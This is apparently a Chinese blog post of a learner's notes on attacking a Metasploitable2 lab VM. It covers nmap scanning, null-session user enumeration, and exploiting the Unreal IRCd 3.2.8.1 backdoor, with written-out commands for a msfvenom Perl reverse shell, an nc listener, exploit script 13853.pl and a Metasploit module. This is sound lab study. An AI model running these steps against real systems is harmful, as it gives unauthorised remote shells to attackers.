Ea5ter's Bolg

msf 渗透学习笔记

字数统计: 1.7k阅读时长: 6 min
2018/09/10 Share

环境

攻击机 kali :10.10.10.135
靶机 Metasploitable2 :10.10.10.136

信息收集

端口扫描

工具:Nmap

  1. ping 扫描:在与靶机处于相同网段的情况下,可以使用 ping 扫描来确认靶机的 ip 和同一网段下其他存活的主机。
    1
    nmap -sP 10.10.10.0/24


这里扫出了4台机器,前两个是虚拟网卡,再除去 kali 的10.10.10.135,那么剩下的就是靶机的 ip 。

  1. SYN 扫描,又称半开放式扫描,扫的很快,用于扫描开放的端口。
    1
    nmap -sS 10.10.10.136


这里还增加了 -sV 探测开放端口的服务/版本信息,-O 启用OS检测系统。
得到了很多重要信息:目标操作系统的版本 Linux 2.6.9 – 2.6.33、irc 、ftp 等服务的版本信息。21端口的的 ftp 服务、445 端口的 netbios-ssn 服务、6667 端口的 irc 服务都是我们应该关注的。

用户信息收集

工具:Nmap、rpcclient

  1. 使用 Nmap 的 smb-enum-users.nse 脚本枚举靶机上的用户。

    可以看到 Nmap 使用 smb 扫描 445 端口很轻松的就把用户全部枚举出来了。之后在查看 nmap 脚本使用时,看到了这一个脚本:
    1
    smtp-enum-users.nse 	 枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行

似乎也可以达到相同的目的,25 在端口扫描时确认是开放的,那么用这个脚本扫呢……

果然是不行的,因为此端口并没有漏洞。关于 nmap 脚本的其他使用可以参考nmap 进阶使用 [ 脚本篇 ]

  1. 利用 rpcclient 空会话枚举用户账户,这就简单列举下使用方法。
    1
    rpcclient -U "" 10.10.10.136[目标 IP 地址]

-U 参数用来指定一个空用户,后面跟上 Metasploitable 2 VM 的IP地址。当我们按 enter 后,会要求你输入密码我们继续回车即可!

1
rcpclient $> querydominfo


通过 querydominfo 命令获取 domain, server 和目标系统的 用户总数 还有一些其他的信息。

1
rcpclient $> enumdomusers


列举出了所有可用用户账户。

1
rcpclient $> queryuser [用户名]

queryuser 获取用户详细信息。

至此,信息收集步骤就差不多了。接下来就是开始攻击。

漏洞利用

Unreal IRCd 3.2.8.1 漏洞

这个漏洞存在在 6667 端口上的 irc 服务上。irc 是 Internet Relay Chat 的缩写,是一种网络聊天协议。通过之前的端口扫描得知了 irc 的版本是 UnrealIRCd ,UnrealIRCd 是一个开源的 IRC 守护进程,同时漏洞的位置也在此。

确认其版本号

工具:hexchat
使用 hexchat 来连接 IRC 服务,进而获取版本号。hexchat 可以理解成一个 IRC 客户端。
通过如下指令来安装 hexchat :

1
apt install -y hexchat

安装成功后输入“hexchat”即可使用。

在添加一个新的连接并输入用户信息后,点击编辑输入连接靶机的 ip/port(6667)

关闭再点击连接即可进入靶机的 IRC 服务。

看到了一个非常重要的信息 Unreal IRC service 的版本为 Unreal 3.2.8.1 。我们即可以利用信息来评估版本的漏洞和漏洞的利用。

Unreal IRCd 3.2.8.1 漏洞评估

工具:Searchsploit
Searchsploit 是一个 Exploit-DB 命令行搜索工具,Exploit-DB 是一个漏洞库。Searchsploit 的详细使用可参考:(SearchSploit - 手册)[https://www.exploit-db.com/searchsploit/]
这里使用如下命令对 Unreal IRCd 进行搜索:

1
searchsploit Unreal IRCd 3.2.8.1


看到 Unreal IRCd 有 3 个可利用漏洞:

  1. 后门漏洞可在 Metasploit 上利用的 Ruby exploit
  2. 本地溢出可造成DOS拒绝服务的 exploit ,但它只适用于 windows ,因此不适用我们的目标 Metasploitable 2 。
  3. 远程下载和执行 Perl 脚本木马。

远程下载漏洞利用

利用之前先对脚本代码进行一个简单的分析。从 searchsploit 的信息中我们得知了脚本的路径。用 vim 查看:

1
vim /usr/share/exploitdb/exploits/linux/remote/13853.pl


首先是5个 payload :

  • payload1:下载一个不晓得什么类型的文件名命为 binshell,并赋予其权限再后台执行。
  • payload2:下载一个 bot 文件。
  • payload3:下载一个 rshell 文件,根据名字猜测与反弹 shell 有关。
  • payload4:关闭 isc 服务。
  • payload5:从服务器上删除 Unreal IRCD 服务。这是网上的解释,具体也不懂为什么是这样操作的。

    接下来的代码定义了三个变量用来接受我们传的 host (靶机ip)、port (端口)、type (payload类型)。判断是否为空来调用 usage 函数终止。

    最后这段代码是用来执行 payload 的。
    然而使用上面 payload 却有两个问题。第一,我们并不知道它下载的文件内容,也就不知道该如何使用。那何谈控制呢?第二,这些 payload 都依赖于 wget 命令才能成功下载,如果 wget 命令不在主机上就会利用失败。
    接下来我们将通过 msfvenom 生成新的 payload 来替换实行控制。

    修改 payload

    工具:msfvenom
    msfvenom是Msfpayload和Msfencode的组合,将这两个工具放在一个Framework实例中。截至2015年6月8日,msfvenom替换了msfpayload和msfencode。
    这个工具就是用来生成 payload 的,理解其使用实在有点复杂。具体使用可以参考:How to use msfvenom
    使用如下命令生成一个 perl 脚本的反弹 shell 的 payload 。
    1
    msfvenom -p cmd/unix/reverse_perl LHOST=[本机 Ip] LPORT=4444 -f raw

简单解释下这个命令。
首先 -p 指定的有效载荷为什么是这个?

1
cmd/unix/reverse_perl       Creates an interactive shell via perl # 通过perl创建一个交互式shell

这是 msfvenom 对这个载荷的描述,我感觉整个的意思大概就是:用 perl 语言生成一个可以在 unix 系统命令行中执行的反弹shell。LHOST 是用来反弹的主机,(LPORT 不知道是不是只能指定 4444)。
生成的 payload 如下:

复制脚本到桌面,并修改 payload1 ,注意单引号要加“\”转义:

开启 nc 监听:

1
nc -lvvp 4444

执行 EXP:

1
perl 13853.pl 10.10.10.136 6667 1

等待……我不知道为什么等了那么久,靶机便会反弹shell到我们的主机上。

Backdoor 漏洞利用

工具:Metasploit
启动 Msfconsole 搜索 Unreal IRCd 利用模块。

1
search unreal IRCD


选择 unreal_ircd_3281_backdoor 模块:

1
use exploit/unix/irc/unreal_ircd_3281_backdoor

查看所有 payload :

1
show payloads

查看选项:

1
show options

设置靶机/主机 ip :

1
2
set rhost 10.10.10.136
set Lhost 10.10.10.135


RUN!

写在最后

这次靶机渗透练习先告一段落,熟悉了渗透的大致思路,和一些渗透工具的使用。虽然这里只利用了 6667 端口这个洞,还有很多其他漏洞没有玩,但还是学到了不少。

CATALOG
  1. 1. 环境
  2. 2. 信息收集
    1. 2.1. 端口扫描
    2. 2.2. 用户信息收集
  3. 3. 漏洞利用
    1. 3.1. Unreal IRCd 3.2.8.1 漏洞
      1. 3.1.1. 确认其版本号
      2. 3.1.2. Unreal IRCd 3.2.8.1 漏洞评估
      3. 3.1.3. 远程下载漏洞利用
        1. 3.1.3.1. 修改 payload
      4. 3.1.4. Backdoor 漏洞利用
  4. 4. 写在最后